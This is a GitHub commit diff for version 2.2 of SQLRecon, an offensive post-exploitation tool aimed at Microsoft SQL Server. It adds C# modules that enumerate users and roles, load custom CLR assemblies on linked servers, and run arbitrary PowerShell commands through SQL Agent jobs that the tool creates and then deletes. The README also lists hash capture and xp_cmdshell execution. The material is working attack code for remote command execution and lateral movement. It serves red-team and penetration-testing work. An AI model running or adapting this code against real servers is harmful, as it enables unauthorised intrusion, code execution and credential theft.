Skip to content

Commit

Permalink
+ v2.2
Browse files Browse the repository at this point in the history
* Expanded roles which are queried in the roles, iroles and lroles modules
* Created users, iusers and lusers modules
* Fixed hash not being dropped from sp_drop_trusted_assembly in clr and iclr modules (thank you @passthehashbrowns)
* Created lagentcmd module (thank you @passthehashbrowns)
* Created lclr module (thank you @passthehashbrowns)
  • Loading branch information
skahwah committed Jan 17, 2023
1 parent 7f4dde1 commit 45b76ac
Show file tree
Hide file tree
Showing 8 changed files with 349 additions and 15 deletions.
18 changes: 16 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,7 @@ Standard modules are used to interact against a single MS SQL server.
* <b>info</b> - Print information about the SQL Service
* <b>query -o QUERY</b> - Execute an arbitrary SQL query
* <b>whoami</b> - See what user you are logged in as, mapped as and what roles exist
* <b>users</b> - See what user accounts and groups can authenticate against the database
* <b>databases</b> - Show all databases present on the SQL server
* <b>tables -o DATABASE</b> - Show all tables in the database you specify
* <b>search -o KEYWORD</b> - Search column names within tables of the database you are connected to
Expand All @@ -68,6 +69,7 @@ Standard modules are used to interact against a single MS SQL server.
Impersonation modules are used to interact against a single MS SQL server, under the context of an impersonated SQL user.
* <b>impersonate</b> - Enumerate any user accounts that can be impersonated
* <b>iwhoami -i IMPERSONATEUSER</b> - See what user you are logged in as, mapped as and what roles exist
* <b>iusers -i IMPERSONATEUSER</b> - See what user accounts and groups can authenticate against the database
* <b>iquery -i IMPERSONATEUSER -o QUERY</b> - Execute an arbitrary SQL query as an impersonated user
<br>↓ Command Execution (requires sysadmin role or similar)
* <b>ienablexp -i IMPERSONATEUSER</b> - Enable xp_cmdshell
Expand All @@ -87,6 +89,7 @@ Linked SQL Server modules are effective when you are able to interact with a lin
* <b>links</b> - Enumerate any linked SQL servers
* <b>lquery -l LINKEDSERVERNAME -o QUERY</b> - Execute an arbitrary SQL query on the linked SQL server
* <b>lwhoami -l LINKEDSERVERNAME</b> - See what user you are logged in as on the linked SQL server
* <b>lusers -l LINKEDSERVERNAME</b> - See what user accounts and groups can authenticate against the database on the linked SQL server
* <b>ldatabases -l LINKEDSERVERNAME</b> - Show all databases present on the linked SQL server
* <b>ltables -l LINKEDSERVERNAME -o DATABASE</b> - Show all tables in the supplied database on the linked SQL server
* <b>lsmb -l LINKEDSERVERNAME -o SHARE</b> - Capture NetNTLMv2 hash from linked SQL server
Expand All @@ -101,17 +104,28 @@ Linked SQL Server modules are effective when you are able to interact with a lin
* <b>lolecmd -l LINKEDSERVERNAME -o COMMAND</b> - Execute an arbitrary system command using OLE Automation Procedures on the linked SQL server
* <b>lenableclr -l LINKEDSERVERNAME</b> - Enable Custom CLR Assemblies on the linked SQL server
* <b>ldisableclr -l LINKEDSERVERNAME</b> - Disable Custom CLR Assemblies on the linked SQL server
* <b>lclr -o DLLPATH -f FUNCTION</b> - Load and execute a .NET assembly within a custom stored procedure on the linked SQL server
* <b>lagentstatus -l LINKEDSERVERNAME</b> - Check to see if SQL agent is running and obtain jobs on the linked SQL server
* <b>lagentcmd -l LINKEDSERVERNAME -o COMMAND</b> - Execute an arbitrary system command on the linked SQL server

## Examples
See the <a href="https://github.com/skahwah/SQLRecon/wiki">wiki</a>. for detailed examples.

## Roadmap
The below techniques are on the roadmap for future releases
* Look into creating lclr
* Look into creating lagentcmd
* Expand enumeration modules

## History
<details>
<summary>v2.2</summary>

* Expanded roles which are queried in the roles, iroles and lroles modules
* Created users, iusers and lusers modules
* Fixed hash not being dropped from sp_drop_trusted_assembly in clr and iclr modules
* Created lagentcmd module
* Created lclr module
</details>

<details>
<summary>v2.1.6</summary>

Expand Down
4 changes: 2 additions & 2 deletions SQLRecon/SQLRecon/Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
Expand Up @@ -32,5 +32,5 @@
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("2.1.6.0")]
[assembly: AssemblyFileVersion("2.1.6.0")]
[assembly: AssemblyVersion("2.2.0.0")]
[assembly: AssemblyFileVersion("2.2.0.0")]
156 changes: 147 additions & 9 deletions SQLRecon/SQLRecon/authentication/ArgumentLogic.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
using System.Collections.Generic;
using System.Data.SqlClient;
using System.DirectoryServices.ActiveDirectory;
using System.Linq;
using SQLRecon.Modules;

namespace SQLRecon.Auth
Expand Down Expand Up @@ -374,6 +375,20 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lusers"))
{
if (!argDict.ContainsKey("l"))
{
Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)");
module = argDict["m"].ToLower();
return;
}
else
{
module = argDict["m"].ToLower();
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lroles"))
{
if (!argDict.ContainsKey("l"))
Expand Down Expand Up @@ -472,6 +487,22 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lclr"))
{
if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o") || !argDict.ContainsKey("f"))
{
Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l), path to DLL (-o) and function name (-f)");
module = argDict["m"].ToLower();
return;
}
else
{
module = argDict["m"].ToLower();
option = argDict["o"];
function = argDict["f"];
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lagentstatus"))
{
if (!argDict.ContainsKey("l"))
Expand All @@ -486,6 +517,21 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
linkedSqlServer = argDict["l"];
}
}
else if (argDict["m"].ToLower().Equals("lagentcmd"))
{
if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o"))
{
Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) and command (-o)");
module = argDict["m"].ToLower();
return;
}
else
{
module = argDict["m"].ToLower();
option = argDict["o"];
linkedSqlServer = argDict["l"];
}
}
else
{
module = argDict["m"].ToLower();
Expand Down Expand Up @@ -539,6 +585,20 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
impersonate = argDict["i"];
}
}
else if (argDict["m"].ToLower().Equals("iusers"))
{
if (!argDict.ContainsKey("i"))
{
Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)");
module = argDict["m"].ToLower();
return;
}
else
{
module = argDict["m"].ToLower();
impersonate = argDict["i"];
}
}
else if (argDict["m"].ToLower().Equals("ienablexp"))
{
if (!argDict.ContainsKey("i"))
Expand Down Expand Up @@ -710,10 +770,32 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
Console.Out.WriteLine("\n[+] Mapped to the user: " + sqlQuery.ExecuteQuery(con, "SELECT USER_NAME(); "));

Console.Out.WriteLine("\n[+] Roles: ");

var roles = new Roles();
roles.CheckServerRole(con, "public", true);
roles.CheckServerRole(con, "sysadmin", true);

// this sql command can be run by low privilege users and extracts all of the observable roles which are present in the current database
// "select name from sys.database_principals where type = 'R'" also works
string getRoles = sqlQuery.ExecuteCustomQuery(con, "select [name] from sysusers where issqlrole = 1;").TrimStart('\n').Replace(" |", "");

// get rid of the first two elements, which will be "name" and "-------"
string[] rolesArr = getRoles.Split('\n').Skip(2).ToArray();

// these are the default MS SQL database roles
string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" };

string[] combinedRoles = rolesArr.Concat(defaultRoles).ToArray();

// test to see if the current principal is a member of any roles
foreach (var item in combinedRoles)
{
roles.CheckServerRole(con, item.Trim(), true);
}

}
// users
else if (module.Equals("users"))
{
Console.Out.WriteLine("\n[+] Users in the " + database + " database on " + sqlServer + ":" + sqlQuery.ExecuteCustomQuery(con, "select name as username, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type from sys.database_principals where type not in ('A', 'R', 'X') and sid is not null order by username;"));
}
// databases
else if (module.Equals("databases"))
Expand Down Expand Up @@ -812,7 +894,7 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
CLR clr = new CLR();
clr.Standard(con, option, function);
}
//agentstatus
// agentstatus
else if (module.Equals("agentstatus"))
{
AgentJobs aj = new AgentJobs();
Expand Down Expand Up @@ -867,10 +949,30 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
Console.Out.WriteLine("\n[+] Mapped to the user: " + sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "SELECT USER_NAME(); "));

Console.Out.WriteLine("\n[+] Roles: ");

var roles = new Roles();
roles.CheckLinkedServerRole(con, "public", linkedSqlServer, true);
roles.CheckLinkedServerRole(con, "sysadmin", linkedSqlServer, true);

// this sql command can be run by low privilege users and extracts all of the observable roles which are present in the current database
// "select name from sys.database_principals where type = 'R'" also works
string getRoles = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "select [name] from sysusers where issqlrole = 1;").TrimStart('\n').Replace(" |", "");

// get rid of the first two elements, which will be "name" and "-------"
string[] rolesArr = getRoles.Split('\n').Skip(2).ToArray();

// these are the default MS SQL database roles
string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" };

string[] combinedRoles = rolesArr.Concat(defaultRoles).ToArray();

// test to see if the current principal is a member of any roles
foreach (var item in combinedRoles)
{
roles.CheckLinkedServerRole(con, item.Trim(), linkedSqlServer, true);
}
}
// lusers
else if (module.Equals("lusers"))
{
Console.Out.WriteLine("\n[+] Users in the " + database + " database on " + linkedSqlServer + " via " + sqlServer + ": " + sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "select name as username, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type from sys.database_principals where type not in (''A'', ''R'', ''X'') and sid is not null order by username;"));
}
// lenablerpc
else if (module.Equals("lenablerpc"))
Expand Down Expand Up @@ -928,6 +1030,13 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
Configure config = new Configure();
config.LinkedEnableDisable(con, "clr enabled", "0", linkedSqlServer);
}
// lclr
else if (module.Equals("lclr"))
{
Console.Out.WriteLine("\n[+] Performing CLR custom assembly attack on " + linkedSqlServer + " via " + sqlServer + ":");
CLR clr = new CLR();
clr.Linked(con, option, function, linkedSqlServer);
}
// lxpcmd
else if (module.Equals("lxpcmd"))
{
Expand All @@ -948,6 +1057,14 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)
AgentJobs aj = new AgentJobs();
aj.LinkedAgentStatus(con, sqlServer, linkedSqlServer);
}
// lagentcmd
else if (module.Equals("lagentcmd"))
{
Console.Out.WriteLine("\n[+] Executing '" + option + "' on " + linkedSqlServer + " via " + sqlServer);
AgentJobs aj = new AgentJobs();
aj.LinkedAgentCommand(con, linkedSqlServer, option);
}


// ###############################################
// ########## Impersonation SQL Modules ##########
Expand All @@ -961,8 +1078,29 @@ public static void EvaluateTheArguments(Dictionary<string, string> argDict)

Console.Out.WriteLine("\n[+] Roles: ");
var roles = new Roles();
roles.CheckImpersonatedRole(con, "public", impersonate, true);
roles.CheckImpersonatedRole(con, "sysadmin", impersonate, true);

// this sql command extracts all of the observable roles which are present in the current database
// "select name from sys.database_principals where type = 'R'" also works
string getRoles = sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "';select [name] from sysusers where issqlrole = 1;").TrimStart('\n').Replace(" |", "");

// get rid of the first two elements, which will be "name" and "-------"
string[] rolesArr = getRoles.Split('\n').Skip(2).ToArray();

// these are the default MS SQL database roles
string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" };

string[] combinedRoles = rolesArr.Concat(defaultRoles).ToArray();

// test to see if the current principal is a member of any roles
foreach (var item in combinedRoles)
{
roles.CheckImpersonatedRole(con, item.Trim(), impersonate, true);
}
}
// iusers
else if (module.Equals("iusers"))
{
Console.Out.WriteLine("\n[+] Getting users in the " + database + " database on " + sqlServer + " as " + impersonate + ":" + sqlQuery.ExecuteCustomQuery(con, "EXECUTE AS LOGIN = '" + impersonate + "'; select name as username, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type from sys.database_principals where type not in ('A', 'R', 'X') and sid is not null order by username;"));
}
// iquery
else if (module.Equals("iquery"))
Expand Down
57 changes: 57 additions & 0 deletions SQLRecon/SQLRecon/modules/AgentJobs.cs
Original file line number Diff line number Diff line change
Expand Up @@ -257,5 +257,62 @@ public void ImpersonateAgentCommand(SqlConnection con, string sqlServer, String
Console.WriteLine("\n[!] ERROR: Unable to create new job");
}
}

public void LinkedAgentCommand(SqlConnection con, string linkedSqlServer, String cmd)
{
string sqlOutput = "";

// first check to see if agent is running
sqlOutput = LinkedCheckAgent(con, linkedSqlServer);

if (!sqlOutput.Contains("1"))
{
Console.WriteLine("\n[!] ERROR: The SQL Agent is not running on the linked server");
return;
}

RandomString rs = new RandomString();
string jobName = rs.Generate(8); // generate a new random output name
string stepName = rs.Generate(8); // generate a new random program name

Console.WriteLine("\n[+] Setting job_name to: " + jobName);
Console.WriteLine("\n[+] Setting step_name to: " + stepName);

sqlOutput = sqlQuery.ExecuteLinkedQueryWithSideEffects(con, linkedSqlServer, "use msdb;" +
"EXEC dbo.sp_add_job @job_name = ''" + jobName + "'';" +
"EXEC dbo.sp_add_jobstep @job_name = ''" + jobName + "'', " +
"@step_name = ''" + stepName + "'', " +
"@subsystem = ''PowerShell'', " +
"@command = ''" + cmd + "'', " +
"@retry_attempts = 1, " +
"@retry_interval = 5;" +
"EXEC dbo.sp_add_jobserver @job_name = ''" + jobName + "'';");

sqlOutput = LinkedJobs(con, linkedSqlServer);


if (sqlOutput.ToLower().Contains(jobName.ToLower()))
{
Console.WriteLine("\n[+] Executing Job and waiting for 5 seconds ...");
sqlOutput = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "use msdb;" +
"EXEC dbo.sp_start_job ''" + jobName + "''; " +
"WAITFOR DELAY ''00:00:05'';");

Console.WriteLine("\nSUCCESS: Deleting job");

sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "use msdb;" +
"EXEC dbo.sp_delete_job @job_name = ''" + jobName + "'';");
}
else if (sqlOutput.Contains("permission"))
{
Console.WriteLine("\n[!] ERROR: The current user does not have permissions to create new jobs");
}
else
{
Console.WriteLine("\n[!] ERROR: Unable to create new job");

}
}

}
}
Loading

0 comments on commit 45b76ac

Please sign in to comment.